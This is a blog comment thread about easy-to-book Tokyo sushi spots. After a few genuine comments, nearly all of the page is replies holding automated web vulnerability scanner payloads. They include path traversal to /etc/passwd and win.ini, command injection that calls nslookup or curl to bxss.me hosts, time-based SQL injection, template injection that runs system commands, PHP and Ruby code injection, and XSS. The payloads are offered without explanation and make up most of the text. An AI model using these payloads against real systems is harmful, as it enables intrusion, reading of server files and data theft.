Just went to Sushi Comari on this list, while it wasn't really my cup of tea. Superb CP, 8k Lunch for 13 nigiri. A good spot for travellers on a budget, who want a omakase fix.
Thanks for sharing. Agree with Suzuki and Owana and Tsukiuda is good too but definitely do not recommend Udatsu and Kizaki. Don't think the others are notable.
9 Comments
Link was eaten so here it is again: https://www.luxeat.com/blog/15-easy-to-book-sushi-hotspots-in-tokyo/
re: thetokyogourmet
1CKbkmNi9LO
re: thetokyogourmet
response.write(9134126*9842983)
re: thetokyogourmet
'+response.write(9134126*9842983)+'
re: thetokyogourmet
"+response.write(9134126*9842983)+"
re: thetokyogourmet
<esi:include src="http://bxss.me/rpb.png"/>
re: thetokyogourmet
%0abcc:074625.67-22134.67.e433e.19990.2@bxss.me
re: thetokyogourmet
${9999762+10000324}
re: thetokyogourmet
to@example.com>%0d%0abcc:074625.67-22135.67.e433e.19990.2@bxss.me
re: thetokyogourmet
../../../../../../../../../../../../../../etc/passwd
re: thetokyogourmet
../../../../../../../../../../../../../../windows/win.ini
re: thetokyogourmet
file:///etc/passwd
re: thetokyogourmet
'.gethostbyname(lc('hitfl'.'mxdspwcia48b0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(70).chr(99).chr(77).'
re: thetokyogourmet
../../../../../../../../../../../../../../../proc/version
re: thetokyogourmet
)
re: thetokyogourmet
".gethostbyname(lc("hitdy"."sathnnwo6a30e.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(87).chr(99).chr(80)."
re: thetokyogourmet
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: thetokyogourmet
!(()&&!|*|*|
re: thetokyogourmet
../../../../../../../../../../etc/passwd%00.jpg
re: thetokyogourmet
^(#$!@#$)(()))******
re: thetokyogourmet
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: thetokyogourmet
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: thetokyogourmet
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: thetokyogourmet
echo hpmtxn$()\ tijpgj\nz^xyu||a #' &echo hpmtxn$()\ tijpgj\nz^xyu||a #|" &echo hpmtxn$()\ tijpgj\nz^xyu||a #
re: thetokyogourmet
/etc/passwd
re: thetokyogourmet
&echo hqbplf$()\ pdxgop\nz^xyu||a #' &echo hqbplf$()\ pdxgop\nz^xyu||a #|" &echo hqbplf$()\ pdxgop\nz^xyu||a #
re: thetokyogourmet
%2fetc%2fpasswd
re: thetokyogourmet
HttP://bxss.me/t/xss.html?%00
re: thetokyogourmet
|echo mmnpuh$()\ uttbcj\nz^xyu||a #' |echo mmnpuh$()\ uttbcj\nz^xyu||a #|" |echo mmnpuh$()\ uttbcj\nz^xyu||a #
re: thetokyogourmet
"+"A".concat(70-3).concat(22*4).concat(109).concat(81).concat(105).concat(73)+(require"socket"
Socket.gethostbyname("hityl"+"mofnpqaffa9fe.bxss.me.")[3].to_s)+"
re: thetokyogourmet
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: thetokyogourmet
/.././.././.././.././.././.././.././../etc/./passwd%00
re: thetokyogourmet
bxss.me/t/xss.html?%00
re: thetokyogourmet
(nslookup hiteecmmdrgxebe739.bxss.me||perl -e "gethostbyname('hiteecmmdrgxebe739.bxss.me')")
re: thetokyogourmet
'+'A'.concat(70-3).concat(22*4).concat(117).concat(66).concat(110).concat(67)+(require'socket'
Socket.gethostbyname('hitgc'+'ibmiahdj24adb.bxss.me.')[3].to_s)+'
re: thetokyogourmet
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: thetokyogourmet
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: thetokyogourmet
$(nslookup hitoywlzkgvnec1226.bxss.me||perl -e "gethostbyname('hitoywlzkgvnec1226.bxss.me')")
re: thetokyogourmet
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: thetokyogourmet
Http://bxss.me/t/fit.txt
re: thetokyogourmet
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: thetokyogourmet
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: thetokyogourmet
&nslookup hitblzjyqfhuj5ecf5.bxss.me&'\"`0&nslookup hitblzjyqfhuj5ecf5.bxss.me&`'
re: thetokyogourmet
http://bxss.me/t/fit.txt%3F.jpg
re: thetokyogourmet
';print(md5(31337));$a='
re: thetokyogourmet
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: thetokyogourmet
&(nslookup hitvtgaqtvisy22b0a.bxss.me||perl -e "gethostbyname('hitvtgaqtvisy22b0a.bxss.me')")&'\"`0&(nslookup hitvtgaqtvisy22b0a.bxss.me||perl -e "gethostbyname('hitvtgaqtvisy22b0a.bxss.me')")&`'
re: thetokyogourmet
/etc/shells
re: thetokyogourmet
";print(md5(31337));$a="
re: thetokyogourmet
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: thetokyogourmet
|(nslookup hitapyncajvurfee6d.bxss.me||perl -e "gethostbyname('hitapyncajvurfee6d.bxss.me')")
re: thetokyogourmet
c:/windows/win.ini
re: thetokyogourmet
${@print(md5(31337))}
re: thetokyogourmet
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: thetokyogourmet
'"
re: thetokyogourmet
`(nslookup hitdeobdpdwdhaf0e7.bxss.me||perl -e "gethostbyname('hitdeobdpdwdhaf0e7.bxss.me')")`
re: thetokyogourmet
bxss.me
re: thetokyogourmet
${@print(md5(31337))}\
re: thetokyogourmet
file:///etc/passwd
re: thetokyogourmet
<!--
re: thetokyogourmet
;(nslookup hitmnyylwkpwb0aa9c.bxss.me||perl -e "gethostbyname('hitmnyylwkpwb0aa9c.bxss.me')")|(nslookup hitmnyylwkpwb0aa9c.bxss.me||perl -e "gethostbyname('hitmnyylwkpwb0aa9c.bxss.me')")&(nslookup hitmnyylwkpwb0aa9c.bxss.me||perl -e "gethostbyname('hitmnyylwkpwb0aa9c.bxss.me')")
re: thetokyogourmet
'.print(md5(31337)).'
re: thetokyogourmet
/\../\../\../\../\../\../\../etc/passwd
re: thetokyogourmet
/WEB-INF/web.xml
re: thetokyogourmet
C:\WINDOWS\system32\drivers\etc\hosts
re: thetokyogourmet
../../../../../../../../../../windows/win.ini%00.jpg
re: thetokyogourmet
/../../../../../../../../../../boot.ini
re: thetokyogourmet
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: thetokyogourmet
..\..\..\..\..\..\..\..\windows\win.ini
re: thetokyogourmet
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: thetokyogourmet
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: thetokyogourmet
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: thetokyogourmet
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: thetokyogourmet
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: thetokyogourmet
WEB-INF/web.xml
re: thetokyogourmet
WEB-INF\web.xml
re: thetokyogourmet
1
re: thetokyogourmet
1
re: thetokyogourmet
-1 OR 2+277-277-1=0+0+0+1 --
re: thetokyogourmet
-1 OR 3+277-277-1=0+0+0+1 --
re: thetokyogourmet
-1 OR 2+157-157-1=0+0+0+1
re: thetokyogourmet
-1 OR 3+157-157-1=0+0+0+1
re: thetokyogourmet
-1' OR 2+385-385-1=0+0+0+1 --
re: thetokyogourmet
-1' OR 3+385-385-1=0+0+0+1 --
re: thetokyogourmet
-1' OR 2+733-733-1=0+0+0+1 or 'G0lJ2awH'='
re: thetokyogourmet
-1' OR 3+733-733-1=0+0+0+1 or 'G0lJ2awH'='
re: thetokyogourmet
-1" OR 2+317-317-1=0+0+0+1 --
re: thetokyogourmet
-1" OR 3+317-317-1=0+0+0+1 --
re: thetokyogourmet
if(now()=sysdate(),sleep(15),0)
re: thetokyogourmet
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: thetokyogourmet
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: thetokyogourmet
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: thetokyogourmet
-1; waitfor delay '0:0:15' --
re: thetokyogourmet
-1); waitfor delay '0:0:15' --
re: thetokyogourmet
1 waitfor delay '0:0:15' --
re: thetokyogourmet
if2WIICI'; waitfor delay '0:0:15' --
re: thetokyogourmet
-5 OR 428=(SELECT 428 FROM PG_SLEEP(15))--
re: thetokyogourmet
-5) OR 931=(SELECT 931 FROM PG_SLEEP(15))--
re: thetokyogourmet
-1)) OR 133=(SELECT 133 FROM PG_SLEEP(15))--
re: thetokyogourmet
8i7Yc0dd' OR 585=(SELECT 585 FROM PG_SLEEP(15))--
re: thetokyogourmet
MxqtfjAe') OR 381=(SELECT 381 FROM PG_SLEEP(15))--
re: thetokyogourmet
3dppO81L')) OR 799=(SELECT 799 FROM PG_SLEEP(15))--
re: thetokyogourmet
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: thetokyogourmet
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: thetokyogourmet
'||(select 1 from (select pg_sleep(15))x)||'
re: thetokyogourmet
''||(select 1 from (select pg_sleep(15))x)||''
re: thetokyogourmet
1'"
re: thetokyogourmet
@@GUQmW
re: thetokyogourmet
1S3ZSOXRH0
re: thetokyogourmet
response.write(9337054*9281675)
re: thetokyogourmet
'+response.write(9337054*9281675)+'
re: thetokyogourmet
"+response.write(9337054*9281675)+"
re: thetokyogourmet
../../../../../../../../../../../../../../etc/passwd
re: thetokyogourmet
<esi:include src="http://bxss.me/rpb.png"/>
re: thetokyogourmet
../../../../../../../../../../../../../../windows/win.ini
re: thetokyogourmet
${9999561+10000351}
re: thetokyogourmet
file:///etc/passwd
re: thetokyogourmet
../
re: thetokyogourmet
)
re: thetokyogourmet
!(()&&!|*|*|
re: thetokyogourmet
^(#$!@#$)(()))******
re: thetokyogourmet
redirtest.acx
re: thetokyogourmet
ctime
sleep
p0
(I30
tp1
Rp2
.
re: thetokyogourmet
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: thetokyogourmet
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: thetokyogourmet
echo dlzbmh$()\ fxyjxd\nz^xyu||a #' &echo dlzbmh$()\ fxyjxd\nz^xyu||a #|" &echo dlzbmh$()\ fxyjxd\nz^xyu||a #
re: thetokyogourmet
/etc/shells
re: thetokyogourmet
&echo ruludr$()\ vdvjyo\nz^xyu||a #' &echo ruludr$()\ vdvjyo\nz^xyu||a #|" &echo ruludr$()\ vdvjyo\nz^xyu||a #
re: thetokyogourmet
../../../../../../../../../../../../../../etc/shells
re: thetokyogourmet
'.gethostbyname(lc('hittv'.'vmhmfika87300.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(73).chr(110).chr(67).'
re: thetokyogourmet
|echo zzivtu$()\ anmvip\nz^xyu||a #' |echo zzivtu$()\ anmvip\nz^xyu||a #|" |echo zzivtu$()\ anmvip\nz^xyu||a #
re: thetokyogourmet
c:/windows/win.ini
re: thetokyogourmet
".gethostbyname(lc("hittu"."ojnhixhl986cf.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(69).chr(98).chr(66)."
re: thetokyogourmet
expr 9000716127 - 944426
re: thetokyogourmet
bxss.me
re: thetokyogourmet
gethostbyname(lc('hitvs'.'ogxgvtgo160dc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(76).chr(104).chr(73)
re: thetokyogourmet
(nslookup -q=cname hittwhtxhxump12c66.bxss.me||curl hittwhtxhxump12c66.bxss.me))
re: thetokyogourmet
Http://bxss.me/t/fit.txt
re: thetokyogourmet
$(nslookup -q=cname hitwtrcjbbwync1054.bxss.me||curl hitwtrcjbbwync1054.bxss.me)
re: thetokyogourmet
http://bxss.me/t/fit.txt?.jpg
re: thetokyogourmet
&nslookup -q=cname hittrhkptyamn6dee8.bxss.me&'\"`0&nslookup -q=cname hittrhkptyamn6dee8.bxss.me&`'
re: thetokyogourmet
&(nslookup -q=cname hitkxeezxdnwsbdbba.bxss.me||curl hitkxeezxdnwsbdbba.bxss.me)&'\"`0&(nslookup -q=cname hitkxeezxdnwsbdbba.bxss.me||curl hitkxeezxdnwsbdbba.bxss.me)&`'
re: thetokyogourmet
|(nslookup -q=cname hitpzyqwhhkoz60825.bxss.me||curl hitpzyqwhhkoz60825.bxss.me)
re: thetokyogourmet
'"()
re: thetokyogourmet
HttP://bxss.me/t/xss.html?%00
re: thetokyogourmet
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: thetokyogourmet
`(nslookup -q=cname hitysfbylxfsz98561.bxss.me||curl hitysfbylxfsz98561.bxss.me)`
re: thetokyogourmet
'&&sleep(27*1000)*zbemxt&&'
re: thetokyogourmet
bxss.me/t/xss.html?%00
re: thetokyogourmet
';print(md5(31337));$a='
re: thetokyogourmet
;(nslookup -q=cname hitjflromtsztb7af7.bxss.me||curl hitjflromtsztb7af7.bxss.me)|(nslookup -q=cname hitjflromtsztb7af7.bxss.me||curl hitjflromtsztb7af7.bxss.me)&(nslookup -q=cname hitjflromtsztb7af7.bxss.me||curl hitjflromtsztb7af7.bxss.me)
re: thetokyogourmet
"&&sleep(27*1000)*lyqqxp&&"
re: thetokyogourmet
";print(md5(31337));$a="
re: thetokyogourmet
|(nslookup${IFS}-q${IFS}cname${IFS}hitunpggzwsyx89b3a.bxss.me||curl${IFS}hitunpggzwsyx89b3a.bxss.me)
re: thetokyogourmet
'||sleep(27*1000)*iigukg||'
re: thetokyogourmet
${@print(md5(31337))}
re: thetokyogourmet
&(nslookup${IFS}-q${IFS}cname${IFS}hitlximkavmgd39b61.bxss.me||curl${IFS}hitlximkavmgd39b61.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitlximkavmgd39b61.bxss.me||curl${IFS}hitlximkavmgd39b61.bxss.me)&`'
re: thetokyogourmet
"||sleep(27*1000)*aulzcy||"
re: thetokyogourmet
${@print(md5(31337))}\
re: thetokyogourmet
'.print(md5(31337)).'
re: thetokyogourmet
"+"A".concat(70-3).concat(22*4).concat(103).concat(70).concat(117).concat(73)+(require"socket"
Socket.gethostbyname("hitig"+"vszfmiuw2ca88.bxss.me.")[3].to_s)+"
re: thetokyogourmet
'+'A'.concat(70-3).concat(22*4).concat(104).concat(68).concat(100).concat(80)+(require'socket'
Socket.gethostbyname('hitjc'+'yqumdfni5381f.bxss.me.')[3].to_s)+'
re: thetokyogourmet
'A'.concat(70-3).concat(22*4).concat(122).concat(71).concat(116).concat(81)+(require'socket'
Socket.gethostbyname('hitjh'+'uodycabvea08a.bxss.me.')[3].to_s)
re: thetokyogourmet
replies
re: thetokyogourmet
'"
re: thetokyogourmet
replies
re: thetokyogourmet
<!--
re: thetokyogourmet
replies/.
re: thetokyogourmet
'"()&%<zzz><ScRiPt >LyAB(9875)</ScRiPt>
re: thetokyogourmet
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitadgzqtjsdc91d3e.bxss.me")}}
re: thetokyogourmet
'"()&%<zzz><ScRiPt >LyAB(9370)</ScRiPt>
re: thetokyogourmet
9592647
re: thetokyogourmet
VCyIfk6j
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
-1 OR 5*5=25 --
re: thetokyogourmet
-1 OR 5*5=26 --
re: thetokyogourmet
-1 OR 5*5=25
re: thetokyogourmet
-1 OR 5*5=26
re: thetokyogourmet
*if(now()=sysdate(),sleep(15),0)
re: thetokyogourmet
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: thetokyogourmet
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: thetokyogourmet
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: thetokyogourmet
-1; waitfor delay '0:0:15' --
re: thetokyogourmet
-1); waitfor delay '0:0:15' --
re: thetokyogourmet
-1 waitfor delay '0:0:15' --
re: thetokyogourmet
mzYWZE4N'; waitfor delay '0:0:15' --
re: thetokyogourmet
-1 OR 249=(SELECT 249 FROM PG_SLEEP(15))--
re: thetokyogourmet
-1) OR 772=(SELECT 772 FROM PG_SLEEP(15))--
re: thetokyogourmet
-1)) OR 431=(SELECT 431 FROM PG_SLEEP(15))--
re: thetokyogourmet
dsIaw4sy' OR 519=(SELECT 519 FROM PG_SLEEP(15))--
re: thetokyogourmet
Vipjti1o') OR 112=(SELECT 112 FROM PG_SLEEP(15))--
re: thetokyogourmet
opD8GSoT')) OR 995=(SELECT 995 FROM PG_SLEEP(15))--
re: thetokyogourmet
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: thetokyogourmet
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: thetokyogourmet
'||(select 1 from (select pg_sleep(15))x)||'
re: thetokyogourmet
''||(select 1 from (select pg_sleep(15))x)||''
re: thetokyogourmet
'"
re: thetokyogourmet
@@N1pIr
re: thetokyogourmet
(select 198766*667891)
re: thetokyogourmet
(select 198766*667891 from DUAL)
re: thetokyogourmet
f4HOqftI
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
-1 OR 5*5=25 --
re: thetokyogourmet
-1 OR 5*5=26 --
re: thetokyogourmet
-1 OR 5*5=25
re: thetokyogourmet
-1 OR 5*5=26
re: thetokyogourmet
*if(now()=sysdate(),sleep(15),0)
re: thetokyogourmet
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: thetokyogourmet
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: thetokyogourmet
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: thetokyogourmet
-1; waitfor delay '0:0:15' --
re: thetokyogourmet
-1); waitfor delay '0:0:15' --
re: thetokyogourmet
-1 waitfor delay '0:0:15' --
re: thetokyogourmet
bM55fWB9'; waitfor delay '0:0:15' --
re: thetokyogourmet
-1 OR 866=(SELECT 866 FROM PG_SLEEP(15))--
re: thetokyogourmet
-1) OR 275=(SELECT 275 FROM PG_SLEEP(15))--
re: thetokyogourmet
-1)) OR 758=(SELECT 758 FROM PG_SLEEP(15))--
re: thetokyogourmet
KOJ1dBM8' OR 554=(SELECT 554 FROM PG_SLEEP(15))--
re: thetokyogourmet
YbyxRVaN') OR 976=(SELECT 976 FROM PG_SLEEP(15))--
re: thetokyogourmet
cmGtGCha')) OR 201=(SELECT 201 FROM PG_SLEEP(15))--
re: thetokyogourmet
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: thetokyogourmet
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: thetokyogourmet
